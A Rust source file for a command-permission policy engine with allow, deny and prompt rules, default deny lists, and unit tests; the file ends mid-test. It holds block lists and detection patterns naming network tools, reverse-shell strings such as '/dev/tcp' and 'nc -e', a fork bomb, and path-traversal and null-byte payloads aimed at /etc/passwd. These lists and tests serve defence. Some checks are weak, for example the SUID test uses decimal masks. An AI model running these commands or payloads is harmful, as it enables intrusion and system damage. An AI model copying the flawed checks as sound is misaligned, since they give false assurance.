1use std::collections::HashMap;
7use std::path::Path;
8use std::sync::Arc;
9
10#[derive(Clone, Copy, Debug, PartialEq, Eq, Default)]
12pub enum Decision {
13 #[default]
15 Allow,
16 Deny,
18 Prompt,
20}
21
22impl std::fmt::Display for Decision {
23 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
24 match self {
25 Decision::Allow => write!(f, "allow"),
26 Decision::Deny => write!(f, "deny"),
27 Decision::Prompt => write!(f, "prompt"),
28 }
29 }
30}
31
32#[derive(Clone, Debug, PartialEq, Eq)]
34pub enum NetworkRuleProtocol {
35 Tcp,
36 Udp,
37}
38
39#[derive(Clone, Debug)]
41pub struct NetworkRule {
42 pub host: String,
43 pub port: Option<u16>,
44 pub protocol: NetworkRuleProtocol,
45 pub decision: Decision,
46}
47
48#[derive(Clone, Debug, PartialEq, Eq)]
50pub enum PatternToken {
51 Literal(String),
52 Wildcard,
53 Variable(String),
54}
55
56#[derive(Clone, Debug)]
58pub struct PrefixPattern {
59 pub first: Arc<str>,
60 pub rest: Vec<PatternToken>,
61}
62
63#[derive(Clone, Copy, Debug, PartialEq, Eq)]
65pub enum RuleType {
66 Whitelist,
68 Blacklist,
70 Greylist,
72}
73
74#[derive(Clone, Debug)]
76pub struct PrefixRule {
77 pub pattern: PrefixPattern,
78 pub decision: Decision,
79 pub justification: Option<String>,
80 pub rule_type: RuleType,
81 pub allowed_directories: Option<Vec<String>>,
83 pub restrict_to_directories: bool,
85}
86
87#[derive(Clone, Debug)]
89pub struct PathRule {
90 pub path_pattern: String,
92 pub is_directory: bool,
94 pub decision: Decision,
96 pub justification: Option<String>,
98 pub rule_type: RuleType,
100}
101
102impl PathRule {
103 pub fn new(
105 path_pattern: String,
106 is_directory: bool,
107 decision: Decision,
108 justification: Option<String>,
109 ) -> Self {
110 if path_pattern.contains("..") {
113 panic!("Security error: PathRule path_pattern cannot contain '..' - potential path traversal attack: {}", path_pattern);
114 }
115
116 Self {
117 path_pattern,
118 is_directory,
119 decision,
120 justification,
121 rule_type: RuleType::Blacklist,
122 }
123 }
124
125 pub fn matches_path(&self, path: &str) -> bool {
127 if self.path_pattern == "*" {
128 return true;
129 }
130
131 if self.path_pattern.ends_with("/*") {
133 let prefix = &self.path_pattern[..self.path_pattern.len() - 2];
134 return path.starts_with(prefix);
135 }
136
137 path == self.path_pattern || path.starts_with(&format!("{}/", self.path_pattern))
138 }
139}
140
141impl Rule for PathRule {
142 fn matches(&self, _command: &[String]) -> Option<RuleMatch> {
143 None
145 }
146
147 fn as_any(&self) -> &dyn std::any::Any {
148 self
149 }
150}
151
152impl PrefixRule {
153 pub fn new(pattern: PrefixPattern, decision: Decision, justification: Option<String>) -> Self {
155 Self {
156 pattern,
157 decision,
158 justification,
159 rule_type: RuleType::Blacklist,
160 allowed_directories: None,
161 restrict_to_directories: false,
162 }
163 }
164
165 pub fn with_rule_type(mut self, rule_type: RuleType) -> Self {
167 self.rule_type = rule_type;
168 self
169 }
170
171 pub fn with_allowed_directories(mut self, dirs: Vec<String>) -> Self {
173 self.allowed_directories = Some(dirs);
174 self
175 }
176
177 pub fn with_directory_restriction(mut self) -> Self {
179 self.restrict_to_directories = true;
180 self
181 }
182}
183
184#[derive(Clone, Debug, PartialEq, Eq)]
186pub struct RuleMatch {
187 pub decision: Decision,
188 pub justification: Option<String>,
189}
190
191#[derive(Clone)]
193pub struct Policy {
194 rules_by_program: HashMap<String, Vec<Arc<dyn Rule>>>,
195 network_rules: Vec<NetworkRule>,
196 path_rules: Vec<PathRule>,
197 default_decision: Decision,
199 whitelist_mode: bool,
201}
202
203impl std::fmt::Debug for Policy {
204 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
205 f.debug_struct("Policy")
206 .field(
207 "rules_by_program",
208 &self.rules_by_program.keys().collect::<Vec<_>>(),
209 )
210 .field("network_rules_count", &self.network_rules.len())
211 .field("path_rules_count", &self.path_rules.len())
212 .field("whitelist_mode", &self.whitelist_mode)
213 .field("default_decision", &self.default_decision)
214 .finish()
215 }
216}
217
218pub trait Rule: Send + Sync {
219 fn matches(&self, command: &[String]) -> Option<RuleMatch>;
220 fn as_any(&self) -> &dyn std::any::Any;
221}
222
223impl Policy {
224 pub fn new() -> Self {
225 Self {
226 rules_by_program: HashMap::new(),
227 network_rules: Vec::new(),
228 path_rules: Vec::new(),
229 default_decision: Decision::Allow,
230 whitelist_mode: false,
231 }
232 }
233
234 pub fn new_whitelist() -> Self {
236 Self {
237 rules_by_program: HashMap::new(),
238 network_rules: Vec::new(),
239 path_rules: Vec::new(),
240 default_decision: Decision::Deny,
241 whitelist_mode: true,
242 }
243 }
244
245 pub fn new_blacklist() -> Self {
247 Self {
248 rules_by_program: HashMap::new(),
249 network_rules: Vec::new(),
250 path_rules: Vec::new(),
251 default_decision: Decision::Allow,
252 whitelist_mode: false,
253 }
254 }
255
256 pub fn new_with_defaults() -> Self {
258 let mut policy = Self::new_blacklist();
259
260 let dangerous_files = [
262 "rm",
263 "rmdir",
264 "shred",
265 "dd",
266 "mkfs",
267 "mke2fs",
268 "mkfs.ext4",
269 "format",
270 "del",
271 "erase",
272 "fdformat",
273 "mkbootdisk",
274 ];
275 for cmd in dangerous_files {
276 let _ = policy.add_prefix_rule(
277 &[cmd.to_string()],
278 Decision::Deny,
279 Some(format!("Dangerous file operation: {}", cmd)),
280 );
281 }
282
283 let dangerous_git = [
285 "git", ];
287 for cmd in dangerous_git {
288 let _ = policy.add_prefix_rule(
289 &[cmd.to_string()],
290 Decision::Prompt,
291 Some("Git command requires confirmation".to_string()),
292 );
293 }
294
295 let dangerous_system = [
297 "chmod",
298 "chown",
299 "chgrp",
300 "setfacl",
301 "setfattr",
302 "mount",
303 "umount",
304 "losetup",
305 "iptables",
306 "ip6tables",
307 "ufw",
308 "firewall-cmd",
309 "systemctl",
310 "service",
311 "init",
312 "shutdown",
313 "reboot",
314 "halt",
315 "modprobe",
316 "insmod",
317 "rmmod",
318 "modinfo",
319 "sysctl",
320 "echo",
321 "tee", "kill",
323 "killall",
324 "pkill",
325 "kill -9",
326 "useradd",
327 "userdel",
328 "usermod",
329 "groupadd",
330 "groupdel",
331 "passwd",
332 "sudo",
333 "su",
334 "chroot",
335 "unshare",
336 ];
337 for cmd in dangerous_system {
338 let _ = policy.add_prefix_rule(
339 &[cmd.to_string()],
340 Decision::Deny,
341 Some(format!("Dangerous system operation: {}", cmd)),
342 );
343 }
344
345 let dangerous_network = [
347 "nc", "netcat", "ncat", "socat", "curl", "wget", "fetch", "ftp", "ssh", "scp", "sftp",
348 "rsync", "nmap", "nikto", "sqlmap", "hydra",
349 ];
350 for cmd in dangerous_network {
351 let _ = policy.add_prefix_rule(
352 &[cmd.to_string()],
353 Decision::Deny,
354 Some(format!("Dangerous network operation: {}", cmd)),
355 );
356 }
357
358 let dangerous_shell = [
360 "bash", "sh", "zsh", "fish", "dash", "ash", "python", "python3", "perl", "ruby", "php",
361 "node", "expect", "tclsh", "wish", "vi", "vim", "nvim", "emacs", "nano", "pico", "ed",
362 "awk", "sed", "grep", "find", "xargs",
363 ];
364 for cmd in dangerous_shell {
365 let _ = policy.add_prefix_rule(
366 &[cmd.to_string()],
367 Decision::Prompt,
368 Some("Shell/editor command requires confirmation".to_string()),
369 );
370 }
371
372 policy
373 }
374
375 pub fn empty() -> Self {
376 Self::new()
377 }
378
379 pub fn set_whitelist_mode(&mut self, enabled: bool) {
381 self.whitelist_mode = enabled;
382 self.default_decision = if enabled {
383 Decision::Deny
384 } else {
385 Decision::Allow
386 };
387 }
388
389 pub fn set_default_decision(&mut self, decision: Decision) {
391 self.default_decision = decision;
392 self.whitelist_mode = matches!(decision, Decision::Deny);
394 }
395
396 pub fn add_prefix_rule(
398 &mut self,
399 prefix: &[String],
400 decision: Decision,
401 justification: Option<String>,
402 ) -> Result<(), String> {
403 if prefix.is_empty() {
404 return Err("prefix cannot be empty".to_string());
405 }
406
407 let (first, rest) = prefix.split_first().unwrap();
408 let rule: Arc<dyn Rule> = Arc::new(PrefixRule::new(
409 PrefixPattern {
410 first: Arc::from(first.as_str()),
411 rest: rest
412 .iter()
413 .map(|s| PatternToken::Literal(s.clone()))
414 .collect(),
415 },
416 decision,
417 justification,
418 ));
419
420 self.rules_by_program
421 .entry(first.clone())
422 .or_default()
423 .push(rule);
424
425 Ok(())
426 }
427
428 pub fn add_prefix_rule_ext(
430 &mut self,
431 prefix: &[String],
432 decision: Decision,
433 justification: Option<String>,
434 rule_type: RuleType,
435 allowed_directories: Option<Vec<String>>,
436 _restrict_to_directories: bool,
437 ) -> Result<(), String> {
438 if prefix.is_empty() {
439 return Err("prefix cannot be empty".to_string());
440 }
441
442 let (first, rest) = prefix.split_first().unwrap();
443 let rule: Arc<dyn Rule> = Arc::new(
444 PrefixRule::new(
445 PrefixPattern {
446 first: Arc::from(first.as_str()),
447 rest: rest
448 .iter()
449 .map(|s| PatternToken::Literal(s.clone()))
450 .collect(),
451 },
452 decision,
453 justification,
454 )
455 .with_rule_type(rule_type)
456 .with_allowed_directories(allowed_directories.unwrap_or_default())
457 .with_directory_restriction(),
458 );
459
460 self.rules_by_program
461 .entry(first.clone())
462 .or_default()
463 .push(rule);
464
465 Ok(())
466 }
467
468 pub fn check(&self, command: &[String]) -> Option<RuleMatch> {
470 let sanitized = Self::sanitize_command(command);
472 self.check_with_cwd(&sanitized, None)
473 }
474
475 fn sanitize_command(command: &[String]) -> Vec<String> {
477 const MAX_PROGRAM_LENGTH: usize = 16; const MAX_ARG_LENGTH: usize = 1024; command
481 .iter()
482 .enumerate()
483 .map(|(idx, s)| {
484 let s = s.replace('\0', "");
486 let s = s.trim().to_string();
488 if idx == 0 {
491 if s.len() > MAX_PROGRAM_LENGTH {
494 s[..MAX_PROGRAM_LENGTH].to_string()
495 } else {
496 s
497 }
498 } else if s.len() > MAX_ARG_LENGTH {
499 s[..MAX_ARG_LENGTH].to_string()
501 } else {
502 s
503 }
504 })
505 .filter(|s| !s.is_empty()) .collect()
507 }
508
509 pub fn check_with_cwd(
512 &self,
513 command: &[String],
514 working_directory: Option<&str>,
515 ) -> Option<RuleMatch> {
516 if command.is_empty() {
517 return Some(RuleMatch {
518 decision: Decision::Deny,
519 justification: Some("Empty command not allowed".to_string()),
520 });
521 }
522
523 let program = &command[0];
524 let args = &command[1..];
525
526 if let Some(cwd) = working_directory {
528 if self.contains_bypass_attempt(args, cwd) {
529 return Some(RuleMatch {
530 decision: Decision::Deny,
531 justification: Some("Directory bypass attempt detected".to_string()),
532 });
533 }
534 }
535
536 if let Some(deny_result) = self.check_dangerous_pattern(command) {
538 return Some(deny_result);
539 }
540
541 let program_lower = program.to_lowercase();
544 let mut rules_to_check: Vec<_> = {
545 let mut rules = Vec::new();
546 if let Some(exact_rules) = self.rules_by_program.get(program) {
548 rules.extend(exact_rules.iter().cloned());
549 }
550 if program != &program_lower {
552 if let Some(lower_rules) = self.rules_by_program.get(&program_lower) {
553 rules.extend(lower_rules.iter().cloned());
554 }
555 }
556 for (key, key_rules) in self.rules_by_program.iter() {
559 if program_lower.starts_with(&key.to_lowercase()) {
560 rules.extend(key_rules.iter().cloned());
561 }
562 }
563 rules
564 };
565
566 rules_to_check.sort_by(|a, b| {
570 let a_rule = a.as_any().downcast_ref::<PrefixRule>();
571 let b_rule = b.as_any().downcast_ref::<PrefixRule>();
572
573 let a_len = a_rule.map(|r| r.pattern.rest.len()).unwrap_or(0);
574 let b_len = b_rule.map(|r| r.pattern.rest.len()).unwrap_or(0);
575
576 let length_cmp = b_len.cmp(&a_len);
578 if length_cmp != std::cmp::Ordering::Equal {
579 return length_cmp;
580 }
581
582 let a_decision = a_rule.map(|r| r.decision).unwrap_or(Decision::Allow);
584 let b_decision = b_rule.map(|r| r.decision).unwrap_or(Decision::Allow);
585
586 match (a_decision, b_decision) {
588 (Decision::Deny, Decision::Allow) => std::cmp::Ordering::Less,
589 (Decision::Allow, Decision::Deny) => std::cmp::Ordering::Greater,
590 _ => std::cmp::Ordering::Equal,
591 }
592 });
593
594 for rule in &rules_to_check {
596 if let Some(m) = rule.matches(args) {
597 if let Some(cwd) = working_directory {
599 let prefix_rule = rule.as_any().downcast_ref::<PrefixRule>().unwrap();
600 if prefix_rule.restrict_to_directories {
601 if let Some(ref allowed_dirs) = prefix_rule.allowed_directories {
602 if !allowed_dirs.is_empty()
603 && !allowed_dirs.iter().any(|d| cwd.starts_with(d))
604 {
605 return Some(RuleMatch {
606 decision: Decision::Deny,
607 justification: Some(
608 "Command not allowed in current directory".to_string(),
609 ),
610 });
611 }
612 }
613 }
614 }
615
616 let prefix_rule = rule.as_any().downcast_ref::<PrefixRule>();
619 if let Some(pr) = prefix_rule {
620 if pr.decision == Decision::Deny {
621 return Some(m);
622 }
623 }
624 }
625 }
626
627 for rule in &rules_to_check {
629 if let Some(m) = rule.matches(args) {
630 if let Some(cwd) = working_directory {
632 let prefix_rule = rule.as_any().downcast_ref::<PrefixRule>().unwrap();
633 if prefix_rule.restrict_to_directories {
634 if let Some(ref allowed_dirs) = prefix_rule.allowed_directories {
635 if !allowed_dirs.is_empty()
636 && !allowed_dirs.iter().any(|d| cwd.starts_with(d))
637 {
638 return Some(RuleMatch {
639 decision: Decision::Deny,
640 justification: Some(
641 "Command not allowed in current directory".to_string(),
642 ),
643 });
644 }
645 }
646 }
647 }
648 return Some(m);
649 }
650 }
651
652 if let Some(rules) = self.rules_by_program.get("*") {
654 for rule in rules {
655 if let Some(m) = rule.matches(command) {
656 return Some(m);
657 }
658 }
659 }
660
661 if self.whitelist_mode {
663 return Some(RuleMatch {
664 decision: Decision::Deny,
665 justification: Some("Command not in whitelist".to_string()),
666 });
667 }
668
669 None
670 }
671
672 fn contains_bypass_attempt(&self, args: &[String], working_directory: &str) -> bool {
674 let cwd_path = Path::new(working_directory);
675
676 for arg in args {
677 if arg.starts_with('-') {
679 continue;
680 }
681
682 if arg.starts_with('/') {
684 let arg_path = Path::new(arg);
685 if !arg.starts_with(working_directory) && working_directory != "/" {
688 let is_subdir = cwd_path
690 .components()
691 .zip(arg_path.components())
692 .take(cwd_path.components().count())
693 .all(|(c1, c2)| c1 == c2);
694 if !is_subdir {
695 return true;
696 }
697 }
698 }
699
700 if arg.contains("..") {
702 return true;
703 }
704 }
705
706 false
707 }
708
709 fn check_dangerous_pattern(&self, command: &[String]) -> Option<RuleMatch> {
711 let cmd_str = command.join(" ");
712
713 if command
715 .iter()
716 .any(|arg| arg.contains("..") && !arg.starts_with('-'))
717 {
718 return Some(RuleMatch {
719 decision: Decision::Deny,
720 justification: Some("Path traversal attempt detected".to_string()),
721 });
722 }
723
724 if command.len() >= 2 {
727 let cmd_lower = command[0].to_lowercase();
728 if cmd_lower == "export" || cmd_lower == "set" || cmd_lower == "env" {
729 let env_var = &command[1];
730 let env_var_stripped = env_var.trim_matches('"').trim_matches('\'');
732 if env_var_stripped.contains('=') {
734 let var_name = env_var_stripped.split('=').next().unwrap_or("");
735 if var_name.starts_with("PATH")
736 || var_name.starts_with("HOME")
737 || var_name.starts_with("LD_")
738 || var_name.starts_with("PYTHON")
739 || var_name.starts_with("PERL")
740 || var_name.starts_with("BASH")
741 || var_name.starts_with("SHELL")
742 {
743 return Some(RuleMatch {
744 decision: Decision::Deny,
745 justification: Some(
746 "Environment variable manipulation not allowed".to_string(),
747 ),
748 });
749 }
750 }
751 }
752 }
753
754 for arg in command.iter().skip(1) {
756 if arg.starts_with('-') {
758 continue;
759 }
760 if arg == ";" || arg == "&&" || arg == "||" {
762 return Some(RuleMatch {
763 decision: Decision::Deny,
764 justification: Some("Command separator in argument not allowed".to_string()),
765 });
766 }
767 if arg.starts_with('|') || arg.contains("|") {
769 return Some(RuleMatch {
770 decision: Decision::Deny,
771 justification: Some("Pipe in argument not allowed".to_string()),
772 });
773 }
774 if arg.contains("`") || arg.contains("$(") {
776 return Some(RuleMatch {
777 decision: Decision::Deny,
778 justification: Some("Command substitution not allowed".to_string()),
779 });
780 }
781 }
782
783 let _dangerous_pipes = [
785 "| sh",
786 "| bash",
787 "| /bin/sh",
788 "| /bin/bash",
789 "| zsh",
790 "| python",
791 "| perl",
792 "| sh]",
793 "| bash]",
794 "| ruby",
795 "curl",
796 "wget",
797 "fetch",
798 "ftp",
799 "nc",
800 "ncat",
801 ];
802
803 let has_wget = command.iter().any(|c| c == "wget");
805 let has_curl = command.iter().any(|c| c == "curl");
806 let has_pipe = command.iter().any(|c| c == "|" || c == "||");
807 let has_shell = command
808 .iter()
809 .any(|c| c == "sh" || c == "bash" || c == "python" || c == "perl");
810
811 if (has_wget || has_curl) && has_pipe && has_shell {
812 return Some(RuleMatch {
813 decision: Decision::Deny,
814 justification: Some("Download and execute pattern not allowed".to_string()),
815 });
816 }
817
818 let reverse_shell_patterns = [
820 "socket.socket()",
821 "/dev/tcp",
822 "bash -i",
823 "nc -e",
824 "nc -c",
825 "exec 3<>/dev/tcp",
826 ];
827 for pattern in reverse_shell_patterns {
828 if cmd_str.contains(pattern) {
829 return Some(RuleMatch {
830 decision: Decision::Deny,
831 justification: Some("Reverse shell attempt detected".to_string()),
832 });
833 }
834 }
835
836 let indirect_exec_patterns = [
838 ("python", "-c"),
839 ("python3", "-c"),
840 ("perl", "-e"),
841 ("perl", "-n"),
842 ("ruby", "-e"),
843 ("php", "-r"),
844 ("node", "-e"),
845 ("node", "--eval"),
846 ("lua", "-e"),
847 ("tclsh", "-c"),
848 ("expect", "-c"),
849 ];
850 for (program, flag) in indirect_exec_patterns.iter() {
851 if let Some(idx) = command.iter().position(|c| c == *program) {
852 if let Some(next_arg) = command.get(idx + 1) {
853 if next_arg == *flag {
854 return Some(RuleMatch {
855 decision: Decision::Deny,
856 justification: Some(format!(
857 "Indirect command execution via {} {} not allowed",
858 program, flag
859 )),
860 });
861 }
862 }
863 }
864 }
865
866 let subshell_patterns = ["sh -c", "bash -c", "zsh -c", "dash -c", "fish -c"];
868 for pattern in subshell_patterns {
869 if cmd_str.contains(pattern) {
870 return Some(RuleMatch {
871 decision: Decision::Deny,
872 justification: Some("Subshell execution not allowed".to_string()),
873 });
874 }
875 }
876
877 if cmd_str.contains("<(") || cmd_str.contains(">(") {
879 return Some(RuleMatch {
880 decision: Decision::Deny,
881 justification: Some("Process substitution not allowed".to_string()),
882 });
883 }
884
885 if cmd_str.contains("<<") {
887 return Some(RuleMatch {
888 decision: Decision::Deny,
889 justification: Some("Here-document not allowed".to_string()),
890 });
891 }
892
893 let fork_bomb_patterns = [
895 ":(){:|:&};:", "fork()", "while(true)", "while :", "perl -e 'fork'", "python -c 'fork", "ruby -e 'fork'", ];
903 for pattern in fork_bomb_patterns {
904 if cmd_str.to_lowercase().contains(&pattern.to_lowercase()) {
905 return Some(RuleMatch {
906 decision: Decision::Deny,
907 justification: Some("Potential fork bomb detected".to_string()),
908 });
909 }
910 }
911
912 if command.contains(&"chmod".to_string()) {
914 let chmod_args: Vec<&String> = command.iter().skip(1).collect();
915 for arg in chmod_args {
916 if arg.len() >= 4 {
918 if let Ok(num) = arg.parse::<u32>() {
919 if (num & 4000) != 0 || (num & 2000) != 0 || (num & 1000) != 0 {
920 return Some(RuleMatch {
921 decision: Decision::Deny,
922 justification: Some(
923 "SUID/SGID/Sticky bit manipulation not allowed".to_string(),
924 ),
925 });
926 }
927 }
928 }
929 if arg == "u+s"
930 || arg == "g+s"
931 || arg == "+s"
932 || arg.contains("4777")
933 || arg.contains("2755")
934 || arg.contains("6755")
935 {
936 return Some(RuleMatch {
937 decision: Decision::Deny,
938 justification: Some("SUID/SGID permission change not allowed".to_string()),
939 });
940 }
941 }
942 }
943
944 let dangerous_devices = [
946 "/dev/mem",
947 "/dev/kmem",
948 "/dev/port",
949 "/dev/mem0",
950 "/proc/kcore",
951 "/proc/self/mem",
952 "/proc/kmsg",
953 ];
954 for device in dangerous_devices {
955 if cmd_str.contains(device) {
956 return Some(RuleMatch {
957 decision: Decision::Deny,
958 justification: Some("Dangerous device access not allowed".to_string()),
959 });
960 }
961 }
962
963 let dangerous_binaries = [
965 "/bin/su",
966 "/usr/bin/sudo",
967 "/usr/bin/newgrp",
968 "/usr/bin/chfn",
969 "/usr/bin/chsh",
970 "/bin/runas",
971 ];
972 for binary in dangerous_binaries {
973 if cmd_str == binary || cmd_str.starts_with(binary) {
974 return Some(RuleMatch {
975 decision: Decision::Deny,
976 justification: Some("Privilege escalation binary not allowed".to_string()),
977 });
978 }
979 }
980
981 None
982 }
983
984 pub fn check_network(&self, host: &str, port: Option<u16>) -> Decision {
986 for rule in &self.network_rules {
987 if rule.host == host || rule.host == "*" {
988 if let Some(rule_port) = rule.port {
989 if Some(rule_port) == port {
990 return rule.decision;
991 }
992 } else {
993 return rule.decision;
994 }
995 }
996 }
997 Decision::Prompt
998 }
999
1000 pub fn add_network_rule(&mut self, rule: NetworkRule) {
1002 self.network_rules.push(rule);
1003 }
1004
1005 pub fn add_path_rule(&mut self, rule: PathRule) {
1007 self.path_rules.push(rule);
1008 }
1009
1010 pub fn add_path_rule_simple(
1012 &mut self,
1013 path_pattern: String,
1014 is_directory: bool,
1015 decision: Decision,
1016 justification: Option<String>,
1017 ) {
1018 self.path_rules.push(PathRule::new(
1019 path_pattern,
1020 is_directory,
1021 decision,
1022 justification,
1023 ));
1024 }
1025
1026 pub fn check_path(&self, path: &str) -> Decision {
1028 for rule in &self.path_rules {
1029 if rule.matches_path(path) {
1030 return rule.decision;
1031 }
1032 }
1033 if self.whitelist_mode {
1035 Decision::Deny
1036 } else {
1037 self.default_decision
1038 }
1039 }
1040
1041 pub fn get_allowed_prefixes(&self) -> Vec<Vec<String>> {
1043 let mut prefixes = Vec::new();
1044
1045 for (program, rules) in &self.rules_by_program {
1046 for rule in rules {
1047 if let Some(prefix_rule) = rule.as_any().downcast_ref::<PrefixRule>() {
1048 if prefix_rule.decision == Decision::Allow {
1049 let mut prefix = vec![program.clone()];
1050 for token in &prefix_rule.pattern.rest {
1051 match token {
1052 PatternToken::Literal(s) => prefix.push(s.clone()),
1053 PatternToken::Wildcard => prefix.push("*".to_string()),
1054 PatternToken::Variable(v) => prefix.push(format!("${}", v)),
1055 }
1056 }
1057 prefixes.push(prefix);
1058 }
1059 }
1060 }
1061 }
1062
1063 prefixes.sort();
1064 prefixes.dedup();
1065 prefixes
1066 }
1067}
1068
1069impl Default for Policy {
1070 fn default() -> Self {
1071 Self::new()
1072 }
1073}
1074
1075impl Rule for PrefixRule {
1076 fn matches(&self, args: &[String]) -> Option<RuleMatch> {
1077 if args.len() < self.pattern.rest.len() {
1078 return None;
1079 }
1080
1081 for (i, token) in self.pattern.rest.iter().enumerate() {
1082 match token {
1083 PatternToken::Literal(s) => {
1084 if i == 0 {
1088 if !args[i].to_lowercase().starts_with(&s.to_lowercase()) {
1090 return None;
1091 }
1092 } else {
1093 if args[i].to_lowercase() != s.to_lowercase() {
1095 return None;
1096 }
1097 }
1098 }
1099 PatternToken::Wildcard => {
1100 }
1102 PatternToken::Variable(_) => {
1103 }
1105 }
1106 }
1107
1108 Some(RuleMatch {
1109 decision: self.decision,
1110 justification: self.justification.clone(),
1111 })
1112 }
1113
1114 fn as_any(&self) -> &dyn std::any::Any {
1115 self
1116 }
1117}
1118
1119pub fn parse_policy(content: &str) -> Result<Policy, String> {
1121 let mut policy = Policy::new();
1122
1123 for line in content.lines() {
1124 let line = line.trim();
1125 if line.is_empty() || line.starts_with('#') {
1126 continue;
1127 }
1128
1129 if line.starts_with("prefix_rule") {
1131 if line.contains("decision = \"allow\"") || line.contains("decision ='allow'") {
1134 if line.contains("\"cmd\"") || line.contains("'cmd'") {
1136 let _ = policy.add_prefix_rule(&["cmd".to_string()], Decision::Allow, None);
1137 }
1138 }
1139 }
1140 }
1141
1142 Ok(policy)
1143}
1144
1145#[cfg(test)]
1146mod tests {
1147 use super::*;
1148
1149 #[test]
1154 #[should_panic(expected = "Security error")]
1155 fn test_path_rule_rejects_path_traversal_in_pattern() {
1156 let normal_rule = PathRule::new("/tmp".to_string(), true, Decision::Allow, None);
1161 assert!(
1162 !normal_rule.path_pattern.contains(".."),
1163 "Normal path should be accepted"
1164 );
1165
1166 let malicious_pattern = "/etc/../etc/passwd";
1168 let _rule = PathRule::new(malicious_pattern.to_string(), false, Decision::Allow, None);
1169 panic!(
1171 "Security error: Malicious pattern '{}' was accepted without validation",
1172 malicious_pattern
1173 );
1174 }
1175
1176 #[test]
1177 fn test_path_rule_validates_normalized_paths() {
1178 let rule = PathRule::new("/tmp".to_string(), true, Decision::Allow, None);
1180
1181 assert!(rule.matches_path("/tmp"));
1183 assert!(rule.matches_path("/tmp/file.txt"));
1184
1185 }
1188
1189 #[test]
1190 fn test_path_rule_with_trailing_slash() {
1191 let rule = PathRule::new("/tmp".to_string(), true, Decision::Allow, None);
1192
1193 assert!(rule.matches_path("/tmp/"));
1195 }
1196
1197 #[test]
1198 fn test_policy_add_rule() {
1199 let mut policy = Policy::new();
1200 let result = policy.add_prefix_rule(&["ls".to_string()], Decision::Allow, None);
1201 assert!(result.is_ok());
1202 }
1203
1204 #[test]
1205 fn test_policy_check() {
1206 let mut policy = Policy::new();
1207 policy
1208 .add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
1209 .unwrap();
1210
1211 let result = policy.check(&["ls".to_string(), "-la".to_string()]);
1212 assert!(result.is_some());
1213 assert_eq!(result.unwrap().decision, Decision::Allow);
1214 }
1215
1216 #[test]
1217 fn test_policy_check_denied() {
1218 let mut policy = Policy::new();
1219 policy
1220 .add_prefix_rule(&["rm".to_string()], Decision::Deny, None)
1221 .unwrap();
1222
1223 let result = policy.check(&["rm".to_string(), "-rf".to_string()]);
1224 assert!(result.is_some());
1225 assert_eq!(result.unwrap().decision, Decision::Deny);
1226 }
1227
1228 #[test]
1233 fn test_path_traversal_attempt_simple() {
1234 let mut policy = Policy::new();
1236 policy
1238 .add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
1239 .unwrap();
1240 policy
1242 .add_prefix_rule(
1243 &["cat".to_string(), "/etc/passwd".to_string()],
1244 Decision::Deny,
1245 Some("Access to /etc is forbidden".to_string()),
1246 )
1247 .unwrap();
1248
1249 let result = policy.check(&["cat".to_string(), "../../../etc/passwd".to_string()]);
1251 assert!(result.is_some());
1253 }
1254
1255 #[test]
1260 fn test_deny_rule_should_take_precedence() {
1261 let mut policy = Policy::new();
1264
1265 policy
1267 .add_prefix_rule(&["cat".to_string()], Decision::Deny, None)
1268 .unwrap();
1269
1270 policy
1272 .add_prefix_rule(
1273 &["cat".to_string(), "/tmp/file.txt".to_string()],
1274 Decision::Allow,
1275 None,
1276 )
1277 .unwrap();
1278
1279 let result = policy.check(&["cat".to_string(), "/tmp/file.txt".to_string()]);
1281
1282 assert!(result.is_some(), "应该有匹配的规则");
1283
1284 let decision = result.unwrap().decision;
1285 assert_eq!(
1287 decision,
1288 Decision::Deny,
1289 "Deny rule should take precedence over Allow rule for security"
1290 );
1291 }
1292
1293 #[test]
1294 fn test_specific_allow_overrides_general_deny() {
1295 let mut policy = Policy::new();
1298
1299 policy
1301 .add_prefix_rule(&["cat".to_string()], Decision::Deny, None)
1302 .unwrap();
1303 policy
1304 .add_prefix_rule(
1305 &["cat".to_string(), "/tmp".to_string()],
1306 Decision::Allow,
1307 None,
1308 )
1309 .unwrap();
1310
1311 let result = policy.check(&["cat".to_string(), "/tmp/file.txt".to_string()]);
1312
1313 assert!(result.is_some());
1316 }
1317
1318 #[test]
1319 fn test_path_traversal_attempt_with_symlink() {
1320 let mut policy = Policy::new();
1322 policy
1323 .add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
1324 .unwrap();
1325 policy
1326 .add_prefix_rule(
1327 &["cat".to_string(), "/etc/passwd".to_string()],
1328 Decision::Deny,
1329 None,
1330 )
1331 .unwrap();
1332
1333 let symlink_attempts = vec![
1335 "/etc/../../etc/passwd",
1336 "/tmp/../../../etc/passwd",
1337 "..%2F..%2F..%2Fetc%2Fpasswd",
1338 "....//....//....//etc/passwd",
1339 "/etc/./passwd",
1340 "/etc//passwd",
1341 ];
1342
1343 for attempt in symlink_attempts {
1344 let result = policy.check(&["cat".to_string(), attempt.to_string()]);
1345 assert!(
1347 result.is_some(),
1348 "Path traversal attempt {} should be detected",
1349 attempt
1350 );
1351 }
1352 }
1353
1354 #[test]
1355 fn test_path_traversal_with_encoded_chars() {
1356 let mut policy = Policy::new();
1358 policy
1359 .add_prefix_rule(&["ls".to_string()], Decision::Allow, None)
1360 .unwrap();
1361 policy
1362 .add_prefix_rule(
1363 &["ls".to_string(), "/root".to_string()],
1364 Decision::Deny,
1365 None,
1366 )
1367 .unwrap();
1368
1369 let encoded_attempts = vec![
1371 "/root%2F..%2F..%2Fetc",
1372 "/root%252F..%252F..%252Fetc",
1373 "/root/..%252F..%252F..%252Fetc",
1374 ];
1375
1376 for attempt in encoded_attempts {
1377 let result = policy.check(&["ls".to_string(), attempt.to_string()]);
1378 assert!(
1380 result.is_some(),
1381 "Encoded path traversal {} should be detected",
1382 attempt
1383 );
1384 }
1385 }
1386
1387 #[test]
1388 fn test_path_traversal_null_byte() {
1389 let mut policy = Policy::new();
1391 policy
1392 .add_prefix_rule(&["cat".to_string()], Decision::Allow, None)
1393 .unwrap();
1394 policy
1395 .add_prefix_rule(
1396 &["cat".to_string(), "/etc/passwd".to_string()],
1397 Decision::Deny,
1398 None,
1399 )
1400 .unwrap();
1401
1402 let null_byte_attempts = vec![
1404 "/etc/passwd\x00.txt",
1405 "/etc/passwd\x00",
1406 "/etc/passwd\x00/../shadow",
1407 ];
1408
1409 for attempt in null_byte_attempts {
